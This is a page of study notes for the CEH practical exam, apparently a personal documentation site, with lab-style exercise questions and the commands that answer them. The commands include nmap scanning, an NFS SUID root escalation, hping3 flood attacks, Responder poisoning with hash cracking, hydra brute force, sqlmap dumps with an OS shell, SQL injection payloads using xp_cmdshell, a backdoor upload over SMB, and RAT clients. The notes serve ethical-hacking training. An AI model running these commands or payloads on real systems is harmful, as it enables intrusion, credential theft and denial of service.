🧪Labs and Training

Tools Used da Technology Hacks

Linux 🐧

Netdiscover, Nmap, Hydra, John the ripper, Wpscan, Sqlmap, ADB, Hashcat PhoneSploit Metasploit.

Windows 🪟

Wireshark, Hashcalc, Veracrypt, BCTextEncoder, Cryptool, Snow, OpenStego.

Notes/Exercises

Type of Exercises

What is the IP of the Windows X machine?

Find the IP address of the machine which is running the RDP?

What is the version of the Linux Kernel?

How many Windows machines are there?

Find the OS name of the machine which is running MySQL database?

What is the password for user X of the FTP server?

Find the HTTP method that poses a high risk to the application example.com?

What is user X's IBAN number?

Which user X's phone number?

Find the password of the wordpress user “Mario”?

What is the password hidden in the .jpeg file?

Rogue AP suspect, crack your password using capture.cap

Discovery RAT in Network and acess computer to recovery secret.txt

Find the attacker IP address who has launched the DOS attack?

Identify FQDN of Domain Controller

Find the username/password from the pcap file, which is in plain text?

Find the number of machines that were used to initiate the DDOS attack?

Find the file name which is tampered by comparing the hashes which is given in the /hashes folder?

Decrypt the volume file using veracrypt?

Decode the file which is encoded in DES(ECB) format?

Perform deep scan on the elf and obtain hash of the file with highest entropy value.

Connect to the Server remotely using the credentials give by RDP?

Find the executable's Entry point (Address)

Extract the information from the SDcard of the Android User?

Find the machines running MSSQL ?

Find DOS attacker ips from pcap file ?

Identify modifed text files , (hint : check integrity)

Crack MD5 Hashes.

Find attacker's username from machine?

Find contact details of Jenny ? (hint : dump the table using sqlmap)

Find username password ? (hint : Bruteforce using wpscan)

Use hydra to crack password

How many machines are active? Use netdiscover

Which machine has FTP Server open? Use nmap

Find 2 secret files using FTP? brute force FTP username and psw.

Find out phone number of Web application user? Use sqlmap

Brute force Wordpress website user's psw? Use wpscan

Decode .hex file? Use Cryptool

Which machine started DOS attack? DDOS attack happened on which IP? Find out http crediantls from PCAP file? Use wireshark

Decode the given text using given secret? Use BCTextEncorder

Calculate SHA1 hash of a text? Use Hashcalc

Decrypt the hidden vulume and find secret file? Use Veracrypt.

Crack the given hash? Use hashes.com

Find secret hidden int he image/file? Usen openstego/snow

Find a secret file in Android? Use ADB

Send data to another machine (firewall blocked)? Use Covert TCP.

Which username was tampered? ( You need to solving by comparing Hash values)

Wordpress Username Enumeration!

Retrieve Database names ( SQLi)

How many machines are there? ( NMAP)

Phone number of User X? ( Metasploit/Parameter Tampering)

What is the hidden text in X.jpeg (STEGHIDE)

Password crack for VCRYPT

IP Address/ Version of Running windows Server.

Nmap

Identify all active hosts in a network

nmap -sP <target_IP>/Subnet

Do a Stelth Scan, Invading firewall, IDS/IPS

nmap -sS -p 80, 443 <target_IP>/Subnet

Identify the OS of the machine hosting a DB

To check target with open DB port (3306 or 1433): nmap -sV IP/subnet or nmap -A IP/subnet or nmap -p3306,1433 IP/subnet and check relative info about OS.

Locate IP address of the machine with RDP open port

nmap -Pn -p -sV 3389 <target_IP>

prim

Find FQDN of domain controller

FQDN (FQDN = Hostname + Domain) an example can be: mail.example.com mail (hostname), example.com (domain).

Scan subnet or target filtering for LDAP port (389):

nmap -p389 -sV -iL <target_list> -> if we've more targets IP

nmap -p389 -sV <target_IP>

nmap -p 389 --script ldap-rootdse <target_IP>

If LDAP port is filtered or closed, we should try to scan host using following parameters:

nmap -Pn -A <target_IP>

In alternative we can find following ports opened: 88 (Kerberos), 636 (LDAPS), 3268 (LDAP Global).

Running nmap command we'll retrieve info about Domain and Host name:

Domain: pentester.team Service Info: Host: DC;
then FQDN = DC.pentester.team

Identify the number of hosts that are alive

to checks hosts up: nmap -sn IP/Subnet

Identify potential vulnerabilities of services

nmap -Pn --script vuln <target_IP>

Perform vertical privilege escalation of a root user, and enter the flag

Exploiting misconfigured NFS (port 2049)

nmap -sV —p 2049 IP/Subnet
sudo apt-get install nfs-common
nmap -sV —script=nfs-showmount <Target_IP>
check available mounts: showmount -e <Target_IP> -> we will see /home directory
mkdir /tmp/nfs
sudo mount -t nfs 10.10.1.9:/home /tmp/nfs
cd /tmp/nfs
sudo cp /bin/bash .
sudo chmod +s bash -> it will be highlighted in red
ls -la
sudo df -h
sudo chmod +s bash

after them, In another terminal:

Access to target using SSH
./bash -p and we're root!
cd /home
ls -la
Find the flag: find / -name "*.txt" -ls 2> /dev/null

WireShark

Which machine started DOS attack? DDOS attack happened on which IP? Find out http crediantls from PCAP file?

To find DOS (SYN and ACK) :

statistic -> IPv4 statistics -> source and destination address
filter using: tcp.flags.syn == 1 or tcp.flags.syn == 1 and tcp.flags.ack == 0 or filter to highest number of request

Analyze the pcap file and determine the number of machines that were involved in DDOS attack

statistic -> IPv4 statistic -> source and destination address

View Flood attack on victim via Wireshark | use filter tcp.port=21

Find the dos attacker ip using Wireshark

Statistic -> conversion

identified ip , which has flooding server with SYN request.

get the statistics of ipv4 -> we can see that Packets B -> A are null, because the're not reply pack.

To find passwords :

http.request.method == POST

To find DOS -> Look for Red and Black packets with around 1-2 simple packets in between and then pick any packet and check the Source and Destination IP with port if need.

SYN DDOS Attack using Hping

hping3 -S 1.1.1.6 -a 1.1.1.3 -p 22 --flood

1.1.1.6 is target IP
1.1.1.3 is the spoof IP
22 is port number.

POD - Ping of Death Attack

hping3 -d 65538 -S -p 21 --flood 1.1.1.6

-d is data size
-S is syn packets
-p is port (you can flood any app with open ports.

UDP Flood attack

hping3 -2 -p 139 --flood 1.1.1.6

-2 is for UDP
-p is port

Identify IoT Message and its Length using capture.cap

Filter .cap file on wireshark with 'MQTT' filter
Select packet related to Publish Message
Click on MQ Telemetry Transport Protocol -> Header Flags -> Message Msg Len

Click on MQ Telemetry Transport Protocol -> Publish Message -> Msg Len

BCTextEncoder

Decrypt the encoded secret and enter the decrpted text as the answer

Use BCTextEncoder to decrypt the encoded secret file, psw can be the same of SMB login

🔐BCTextEncoder

LLMNR Poisoning NTML Hash cracking

Responder: responder -I eth0 -rdwv

Copy the hash from responder to ntlmhash.txt

and crack it using Hashcat or John

Hashcat

hashcat -m 0 -a 0 hash.txt passwordlist.txt -m 0
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt

MD5 hash mode -a 0:
Dictionary attack mode hash.txt txt file containing hash in a compliant format passwordlist.txt: dictionary file containing passwords in plain text

John the Ripper

john —format-raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john /usr/share/responder/logs/SMB-NTLMv2-SSP-1.1.15.txt

Hydra

Crack the FTP credentials to obtain file stored into FTP server an enter the content as the answer

Find IP with FTP open port: nmap -p 21 IP/Subnet
if we know username: hydra -l user -P passlist.txt ftp://IP
if we don't know username and psw: hydra -L /user.txt -P password.txt ftp://IP or hydra -L /home/attacker/Desktop/CEH_TOOLS/Wordlists/Username.txt -P /home/attacker/Desktop/CEH_TOOLS/Wordlists/Password.txt ftp://IP
Login using FTP credentials obtained, get flag and cat it.

🐉Hydra

Brute force smb login

hydra -l <USER> -P /usr/share/wordlists/rockyou.txt <TARGET_IP> smb

smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --download 'C$\flag.txt'

Entropy

Perform deep scan on the elf files and obtain the last 4 digits of SHA 384 hash of the file with highest entropy value locate into android folder

Scan adb port: nmap ip -sV -p 5555
Connect adb: adb connect IP:5555
Access mobile device: adb shell
Elevate privilege using: sudo -i (if it is possile)
pwd --> ls --> cd sdcard/Notifications/Scan --> ls --> cat secret.txt (If you can't find, check in others folders)
Download files: adb pull /sdcard/Notifications/Scan Do it in another shell, without adb connection!
We've three elf files, now we need to calcolate entropy for each of them using this command: ent file.elf
After selecting file.elf with highest entropy, we need to calculate hash of SHA 384: sha384sum file.elf and consider only the last 4 digits of the hash result.

FTP

To download resources from FTP service we can use following commands:

ftp <target_IP> #connect to FTP service
# if you've not credentials, first try anonymous login writing as user: anonymous and leave blank psw, or brute force credentials using hydra (see section).
Prompt OFF #deactive prompt mode
binary #active binary mode
mget * #dump all file
bye #exit

GoBuster

gobuster dir -u http://IP:Port -w wordlist.txt

SQLMap

Finding vulnerable site

site:http://testphp.vulnweb.com/ php?=

(for cookies- console->document.cookie)

Have cookie value is better, because reduce time to elaborate results!

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs (databases)
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart –tables (tables)
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns (columns)

Dump whole table

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --dump

(dump individual column data)

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass --dump
sqlmap -u "http://vmw.moviescope.com/viewprofile.aspx?id=l" —dbs [ Copy the cookie from website, mysql -U qdpmadmin -h 192.168.1.8 -P passwod [ If you have logins credentioals I
sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" --dbs
Get list of tables -> sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" -D mysql --tables
Dump data from tables -> sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" -D mysql -T db --dump
Get OS shell -> sqlmap -u "http://1.1.1.3/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=d6f94e8c6e291cc8770da9561cea6811" --os-shell

💉SQLMap

Perform an SQL injection attack on web application and retrieve psw of user Mario (you just know these credentials maria:ferrari10)

If we just know crediantials (how our case) login, otherwise we need to bypass login putting into username box: user' OR 1=1 -- and into psw a random text
Click on view profile (../viewprofile.aspx?id=1). There, we can use IDOR vulnerability (manipulating =id value) and seeing info regarding another user. In alternative we can use SQLMap to dump user info.

Snow

snow.exe -C -p “password” stegfile.txt

OpenStego

Analyze the image file and extract the sensitive data hidden in the file

Download OpenStego for Windows OS -> https://github.com/syvaidya/openstego/releases/download/openstego-0.8.6/Setup-OpenStego-0.8.6.exe
Run OpenStego
Select Extract Data
Upload file and select path of destination
Insert how psw a potential keyword present into question
Click to Extract Data

CrypTool

Can you decrypt the file and provide the contents of "flag1.txt" as the answer?

Connect to ftp using cmd: ftp IP
After connect with FTP go to the file and download them using get or mget commands: get file.txt get file1.txt
Decrypt file: open CrypTool program -> Encrypt/Decrypt -> Symmetric (modern) -> DES (ECB)

WPSCAN

Identify psw associated with the User ID "sarah" and resolve the issue to allow her to access her account again.

wpscan --url http://192.168.1.10:8080/CEH -u sarah -P passwdlist.txt

msfconsole -q
use auxiliary/scanner/http/wordpress_login_enum
show options
set PASS_FILE /home/attacker/Desktop/Wordlist/password.txt
set RHOSTS <Target_IP>
set RPORT 8080
set TARGETURI http://10.10.10.10:8080/
set USERNAME admin

Hashes.com

Decrypt/Crack the MD5 hash present into a website

A file called "Secrethash.txt" has been uploaded via DVWA at http://192.168.1.10:8080/DVWA. The file is located at the following path: C:\wamp64\www\DVWA\hackable\uploads\Secret-Hash.txt. Your task is to crack the MD5 hash present in the file and reveal the original message. You can access the file by logging into DVWA using the provided credentials: superuser::superman.

Got to the site, login, go to the url uploads/Secret-hash.txt
Decrypt file using this web tool: https://hashes.com/en/decrypt/hash

RDP

Connect to RDP port

xfreerdp /v:<Target_IP> /u:Administrator

Find secret number hidden inside the file located in a directory (accessible using RDP)

A file named "Secret.txt" that has been concealed within the Server 2019 machine is located at the following path: C:\Users\Dell\Documents\Confidential.

You will need to use a backdoor installed in the server to access the file. (it's a fake news)

Your objective is to find the secret number hidden inside the file and provide it as your answer.

User credentials of RDP you find in the previous answer (of rdp) to login.
Browse to the mentioned path C:\Users\Dell\Documents\Confidential
Open "Secret.txt" file and copy the number inside.

Find suspicious account? You've a credential of one user, you can use RDP to log in e found suspicious account (port 3389).

Opening cmd and use: net user command.

Check phone number of Maria

A site has SQLi vulnerability, the cookie information is stored in a text file in the Documents folder of the EH-2 machine. Use the SQL DSSS attack method to capture the session link. Determine the contact number of Maria associated twith a website.

We bypass auth, then use IDOR to find Maria's number

Netbios

If you get any questions related to netbios, SMB use metasploit.

SMB

Nmap

sudo nmap -p 445 -sV -sC -O <TARGET_IP>
nmap -sU --top-ports 25 --open <TARGET_IP>

nmap -p 445 --script smb-protocols <TARGET_IP>
nmap -p 445 --script smb-security-mode <TARGET_IP>

nmap -p 445 --script smb-enum-sessions <TARGET_IP>
nmap -p 445 --script smb-enum-sessions --script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-shares <TARGET_IP>
nmap -p 445 --script smb-enum-shares --script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-users --script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-server-stats --script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-domains--script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-groups--script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-services --script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-enum-shares,smb-ls --script-args smbusername=<USER>,smbpassword=<PW> <TARGET_IP>

nmap -p 445 --script smb-os-discovery <TARGET_IP>

nmap -p445 --script=smb-vuln-* <TARGET_IP>

SMBMap

smbmap -u guest -p "" -d . -H <TARGET_IP>

smbmap -u <USER> -p '<PW>' -d . -H <TARGET_IP>

## Run a command
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -x 'ipconfig'
## List all drives
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -L
## List dir content
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> -r 'C$'
## Upload a file
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --upload '/root/sample_backdoor' 'C$\sample_backdoor'
## Download a file
smbmap -u <USER> -p '<PW>' -H <TARGET_IP> --download 'C$\flag.txt'

SMB - Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt <TARGET_IP> smb

SMB - Metasploit

# METASPLOIT Starting
msfconsole
msfconsole -q

# METASPLOIT SMB
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_login
use auxiliary/scanner/smb/pipe_auditor

## set options depends on the selected module
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser <USER>
set RHOSTS <TARGET_IP>
exploit

SMB Connection

smbclient -L <TARGET_IP> -N
smbclient -L <TARGET_IP> -U <USER>
smbclient //<TARGET_IP>/<USER> -U <USER>
smbclient //<TARGET_IP>/admin -U admin
smbclient //<TARGET_IP>/public -N #NULL Session
## SMBCLIENT
smbclient //<TARGET_IP>/share_name
help
ls
get <filename>

Malware Analysis

Identify malware entry point address

PEiD (suggested)

Download PEiF tool -> https://softfamous.com/peid/
Execute PEiD tool
Upload malware executable
See entry point address

PEView

Download PEView tool
Execute tool
Upload malware executable
Look for the "Optional Header" section within the PEView interface. In this section, you should find the "AddressOfEntryPoint" field, which represents the entry point of the executable. Note the hexadecimal value displayed in the "AddressOfEntryPoint" field. This is the entry point address of the executable.

Detect it easy

Execute Detect it easy client tool
Upload malware executable
Click to File info
See entry point address

or we can use: PE Explorer tools

Retrieve file connecting to RAT installed into victim machine

Theef default port: 9871, 6703, FTP 2968
NJRAT default port: 5552
MoSucker default port: 200005
ProRat default port: 5110

ProRat

Execute ProRat
Set victim IP and relative port 5110
Click to connect and search files.

Theef

Execute Theef
Set victim IP and relative ports to 6703 and 2968 (or custom port)
Click to connect and open file manger.

NjRat

Execute NjRat
Insert IP and Port
Click on manager and open directory

7 - Malware

Aircrack-ng

Crack the wireless encryption and identify the Wi-Fi password

1st tentative: aircrack-ng pcapfile (usually works only for WEP encryption)

2nd tentative: aircrack-ng -w passwordlist pcapfile

3rd tentative: adding BSSID (-b flag): aircrack-ng -b BSSID -w passwordlist pcapfile (To find BSSID: on Wireshark click on packet, search BSSID and copy value)

Veracrypt

Access the Veracrypt volume, and find the secret code

Decrypt password needed to access to volume
Access to encrypted Drive (C:) using password decrypted into Veracrypt
Find secret code file stored into C Drive.

Download file from FTP

wget -m ftp://anonymous:anonymous@<ip>
wget -m --no-passive ftp://anonymous:anonymous@<ip>

Basic Windows cmd 🪟

net user -> For Domain Users Enumeration
type C:\path.txt -> It displays the content of the path.txt file.
dir
cd
hostname
whoami
pwd

Basic Linux cmd 🐧

ls - view contents of directory (list)
pwd - path of the current directory
cd - change directoryn
mkdir - make new directory
mv - move files / rename files
cp - copy files
rm - remove files
touch - create blank new file
rmdir - delete directory
cat - list content of file to terminal
clear - clear terminal window
echo - move data into a file
less - Read text file one screen at a time
man - show manual of Linux commands
sudo - enables you to perform tasks that require administrative or root permissions
top - task manager in terminal
tar - used to archive multiple files into a tarball
grep - used to searching words in specific files
head - view first lines of any text file
tail - view last lines of any text file
diff - compares the contents of two files line by line
kill - used for killing unresponsive program
jobs - display all current jobs along with their statuses
sort - is a command line utility for sorting lines of text files
df - info about system disk
du - check how much space a file or directory takes
zip - to compress your files into a zip archive
unzip - to extract the zipped files from a zip archive
ssh - a secure encrypted connection between two hosts over and insecure network
cal - shows calendar
apt - command line tool for interaction with packaging system
alias - custom shortcuts used to represent a command
w - current user info
whereis - used to locate the binary, source, manual page files
whatis - used to get one-line man page description
useradd - used to create a new user
passwd - used to changing password of current user
whoami - print current user
uptime - print current time when machine starts
free - print free disk space info
history - print used commands history
uname - print detailed information about your Linux system
ping - to check connectivity status to a server
chmod - to change permissions of files and directories
chown - to change ownership of files and directories
find - using find searches for files and directories
locate - used to locate a file, just like the search command in Windows
ifconfig - print ip address stuff
ip a - similar to ifconfig but shortest print
finger - gives you a short dump of info about a user

Find command

Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.

Below are some useful examples for the “find” command.

Find files:

find / -type f -iname "flag1.txt" 2>/dev/null: find the file named "flag1.txt" case insensitive under / and not showing output errors
find . -name flag1.txt: find the file named “flag1.txt” in the current directory
find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory
find / -type d -name config: find the directory named config under “/”
find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)
find / -perm a=x: find executable files
find /home -user frank: find all files for user “frank” under “/home”
find / -mtime 10: find files that were modified in the last 10 days
find / -atime 10: find files that were accessed in the last 10 day
find / -cmin -60: find files changed within the last hour (60 minutes)
find / -amin -60: find files accesses within the last hour (60 minutes)
find / -size 50M: find files with a 50 MB size

This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.

The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output.

Folders and files that can be written to or executed from:

find / -writable -type d 2>/dev/null : Find world-writeable folders
find / -perm -222 -type d 2>/dev/null: Find world-writeable folders
find / -perm -o w -type d 2>/dev/null: Find world-writeable folders

The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.

find / -perm -o x -type d 2>/dev/null : Find world-executable folders

Find development tools and supported languages:

find / -name perl*
find / -name python*
find / -name gcc*

Find specific file permissions:

Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it.

This allows for an interesting privilege escalation path,we will see in more details on task 6.

The example below is given to complete the subject on the “find” command.

find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.

Alternative in Windows OS

search -f flag.txt

Others resources

>>>Module 02 : Enumeration 
------------------------------------------------------
ping www.moviescope.com –f –l 1500 -> Frame size
tracert www.moviescope.com -> Determining hop count

------------------------------------------------------
>>Enumeration using Metasploit :
------------------------------------------------------
msfdb init
service postgresql start
msfconsole
msf > db_status
nmap -Pn -sS -A -oX Test 10.10.10.0/24
db_import Test
hosts -> To show all available hosts in the subnet
db_nmap -sS -A 10.10.10.16 -> To extract services of particular machine
services -> to get all available services in a subnet

------------------------------------------------------
>>SMB Version Enumeration using MSF
------------------------------------------------------
use scanner/smb/smb_version
set RHOSTS 10.10.10.8-16
set THREADS 100
run
hosts -> now exact os_flavor information has been updated

------------------------------------------------------
>>Module 03 : Scanning Networks
------------------------------------------------------
Port Scanning using Hping3:
hping3 --scan 1-3000 -S 10.10.10.10
--scan parameter defines the port range to scan and –S represents SYN flag.

Pinging the target using HPing3:
hping3 -c 3 10.10.10.10
-c 3 means that we only want to send three packets to the target machine.

UDP Packet Crafting
hping3 10.10.10.10 --udp --rand-source --data 500

TCP SYN request
hping3 -S 10.10.10.10 -p 80 -c 5-S will perform TCP SYN request on the target machine, -p will pass the traffic through which port is assigned, and -c is the count of the packets sent to the Target machine.

HPing flood
hping3 10.10.10.10 --flood

------------------------------------------------------
>>>Module 04 : Enumeration
------------------------------------------------------

>>SNMP Enumeration
nmap –sU –p 161 10.10.10.12
nmap -sU -p 161 --script=snmp-brute 10.10.10.12
msfconsole
use auxiliary/scanner/snmp/snmp_login
set RHOSTS and exploit
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS and exploit


snmp-check <IP address>
------------------------------------------------------
>>NetBIOS Enumeration (139) : 
------------------------------------------------------
nbtstat –A 10.10.10.16
net use
net use \10.10.10.16\e ““\user:””
net use \10.10.10.16\e ““/user:””
NetBIOS Enumerator

------------------------------------------------------
>>Enum4Linux Wins Enumeration :
------------------------------------------------------

enum4linux -u martin -p apple -U 10.10.10.12 -> Users Enumeration
enum4linux -u martin -p apple -o 10.10.10.12 -> OS Enumeration
enum4linux -u martin -p apple -P 10.10.10.12 -> Password Policy Information
enum4linux -u martin -p apple -G 10.10.10.12 -> Groups Information
enum4linux -u martin -p apple -S 10.10.10.12 -> Share Policy Information (SMB Shares Enumeration)

------------------------------------------------------
>>Active Directory LDAP Enumeration : ADExplorer
------------------------------------------------------

------------------------------------------------------
>>Module 05 : Vulnerability Analysis 
------------------------------------------------------
nikto -h http://www.goodshopping.com -Tuning 1 
Nessus runs on  https://localhost:8834Username: admin Password: password
Nessus -> Policies > Advanced scan
Discovery > Host Discovery > Turn off Ping the remote host
Port Scanning > check the Verify open TCP ports found by local port enumerators
AdvancedMax number of TCP sessions per host and = unlimitedMax number of TCP sessions per scan = unlimited
Credentials > Windows > Username & Password
Save policy > Create new scan > User Defined
Enter name & Target
Schedule tab > Turn of Enabled
Hit launch from drop-down of save.

------------------------------------------------------
>>>>Module 06 : System Hacking
------------------------------------------------------
>>NTLM Hash crack :
responder -I eth0
usr\share\responder\logs --> Responder log location
john /usr/share/responder/logs/ntlm.txt


>>Rainbowtable crack using Winrtgen :

Open winrtgen and add new table
Select ntlm from Hash dropdown list.
Set Min Len as 4, Max Len as 6 and Chain Count 4000000
Select loweralpha from Charset dropdown list (it depends upon Password).
rcrack_gui.exe to crack hash with rainbow table

>>Hash dump with Pwdump7 and crack with ohpcrack :

wmic useraccount get name,sid --> Get user acc names and SID
PwDump7.exe > c:\hashes.txt
Replace boxes in hashes.txt with relevant usernames from step 1.
Ophcrack.exe -> load -> PWDUMP File
Tables -> Vista free -> select the table directory -> crack

------------------------------------------------------
>>Module 08 : Sniffing
------------------------------------------------------

http.request.method == “POST” -> Wireshark filter for filtering HTTP POST request 
Capture traffic from remote interface via wireshark
Capture > Options > Manage Interfaces 
Remote Interface > Add > Host &  Port (2002)
Username & password > Start

------------------------------------------------------
>>>Module 13 : Hacking Web Servers
------------------------------------------------------
FTP Bruteforce with Hydra
hydra -L /root/Desktop/Wordlists/Usernames.txt -P /root/Desktop/Wordlists/Passwords.txt ftp://10.10.10.11

>>Module 14 : Hacking Web Applications

Wordpress
wpscan --url http://10.10.10.12:8080/CEH --enumerate u

(--api-token <API Token>)

WP password bruteforce
msfconsoleuse auxiliary/scanner/http/wordpress_login_enum

RCE 
ping 127.0.0.1 | hostname | net user

------------------------------------------------------
>>>>Module 15 : SQL Injection
------------------------------------------------------
SQLMAP Extract DBS
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="xookies xxx" --dbs

Extract Tables
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" -D moviescope --tables

Extract Columns
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" -D moviescope -T User_Login --columns

Dump Data
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" -D moviescope -T User_Login --dump

OS Shell to execute commands
sqlmap -u “http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" --os-shell

Login bypass
blah' or 1=1 --

Insert data into DB from login
blah';insert into login values ('john','apple123');

Create database from login
blah';create database mydatabase;

Execute cmd from login
blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --

CEH V10 Practical NotesCEH Practical

GitHub - dhabaleshwar/CEHPractical: This repository contains a collection of important notes and commands for the Certified Ethical Hacker (CEH) practical exam. Aspiring CEH professionals will find these resources invaluable in their exam preparations and in their future work as ethical hackers.GitHub

PreviousStudy Walkthrough NextTools 🛠️

Last updated 11 months ago

Tools Used da Technology Hacks

Notes/Exercises

Nmap

Identify all active hosts in a network

Do a Stelth Scan, Invading firewall, IDS/IPS

Identify the OS of the machine hosting a DB

Locate IP address of the machine with RDP open port

prim

Find FQDN of domain controller

Identify the number of hosts that are alive

Identify potential vulnerabilities of services

Perform vertical privilege escalation of a root user, and enter the flag

WireShark

Which machine started DOS attack? DDOS attack happened on which IP? Find out http crediantls from PCAP file?

Analyze the pcap file and determine the number of machines that were involved in DDOS attack

SYN DDOS Attack using Hping

POD - Ping of Death Attack

UDP Flood attack

Identify IoT Message and its Length using capture.cap

BCTextEncoder

Decrypt the encoded secret and enter the decrpted text as the answer

LLMNR Poisoning NTML Hash cracking

Hashcat

John the Ripper

Hydra

Crack the FTP credentials to obtain file stored into FTP server an enter the content as the answer

Crack the SMB credentials knowing username to obtain file stored into share

Download file stored into share

Entropy

Perform deep scan on the elf files and obtain the last 4 digits of SHA 384 hash of the file with highest entropy value locate into android folder

FTP

GoBuster

SQLMap

Finding vulnerable site

Dump whole table

Perform an SQL injection attack on web application and retrieve psw of user Mario (you just know these credentials maria:ferrari10)

Snow

OpenStego

Analyze the image file and extract the sensitive data hidden in the file

CrypTool

Can you decrypt the file and provide the contents of "flag1.txt" as the answer?

WPSCAN

Identify psw associated with the User ID "sarah" and resolve the issue to allow her to access her account again.

Hashes.com

Decrypt/Crack the MD5 hash present into a website

RDP

Connect to RDP port

Find secret number hidden inside the file located in a directory (accessible using RDP)

Find suspicious account? You've a credential of one user, you can use RDP to log in e found suspicious account (port 3389).

Check phone number of Maria

Netbios

SMB

Nmap

SMBMap

SMB - Hydra

SMB - Metasploit

SMB Connection

Malware Analysis

Identify malware entry point address

PEiD (suggested)

PEView

Detect it easy

Retrieve file connecting to RAT installed into victim machine

ProRat

Theef

NjRat

Aircrack-ng

Crack the wireless encryption and identify the Wi-Fi password

Veracrypt

Access the Veracrypt volume, and find the secret code

Basic Windows cmd 🪟

Basic Linux cmd 🐧

Find command

Alternative in Windows OS

Others resources